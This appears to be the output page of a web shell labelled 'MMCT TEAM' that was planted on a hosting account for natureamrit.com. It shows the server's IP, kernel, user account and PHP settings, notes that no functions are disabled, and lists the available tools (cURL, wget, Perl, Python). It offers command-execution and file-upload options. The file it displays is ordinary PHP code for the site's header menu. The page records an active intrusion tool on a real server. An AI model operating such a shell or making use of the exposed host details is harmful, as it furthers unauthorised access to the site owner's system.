MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.22.70.169
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/natureamrit.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/natureamrit.com/site-header-menu.php
<?php
$link_sql=db_query("select * from tbl_site_pages where 1 and site_pages_status='Active' and site_pages_show_in_header='Yes' order by site_pages_order_by asc limit 0,7");
if(mysqli_num_rows($link_sql)>0){
?>
<nav class="nav">
  <ul class="main-menu">
  <?php 
while($link_data=mysqli_fetch_array($link_sql)){
$pgName=$link_data['site_pages_link'];
?>
<?php if($pgName=='index'){ ?>
  <li><a href="<?=$site_url?>/<?=$link_data['site_pages_link']?>.html" <?php if($page_name==$link_data['site_pages_link']){?> class="active"<?php }?>>
    <?=$link_data['site_pages_name']?>
    </a></li>
  <?php }elseif($pgName=='products'){ ?>
    <li class="menu-item-has-children"> <a href="<?=$site_url?>/products.html"><?=$link_data['site_pages_name']?> <i class="fa fa-angle-down hidden-xs"></i></a>
      <ul class="dropdown-menu dropdown-arrow">
        <?php
function fetch_header_menu($query) {
$site_url=db_scalar("select admin_website_url from tbl_admin where 1");
	while ( $result = mysqli_fetch_array ( $query ) ) {
		$menu_id = $result ['category_id'];
		$menu_name = ucwords(strtolower($result ['category_name']));
		$menu_cat_link = $result ['category_url'];
		if (has_child ( query ( $menu_id ) )) {
			$menuClass = "dropdown-menu";
		}else{
		   $menuClass = "";
		}
 	  echo "<li ><a href='$site_url/{$menu_cat_link}.html'>{$menu_name}</a>";
		if (has_child ( query ( $menu_id ) )) {
			echo "<ul class='{$menuClass}'>";
			fetch_header_menu ( query ( $menu_id ) );
			echo "</ul>";
		}
		echo "</li>";
	}
}
fetch_header_menu (query(0)); //call this function with 0 parent id
?>
      </ul>
    </li>
    <?php }else{ ?>
  <li><a href="<?=$site_url?>/<?=$link_data['site_pages_link']?>.html" <?php if($page_name==$link_data['site_pages_link']){?> class="active"<?php }?>>
    <?=$link_data['site_pages_name']?>
    </a></li>
    <? }} ?>
    <li><a id="search-toggle" class="nav_slide_button" href="#"><span></span></a></li>
  </ul>
</nav>
<? } ?>

MMCT - 2023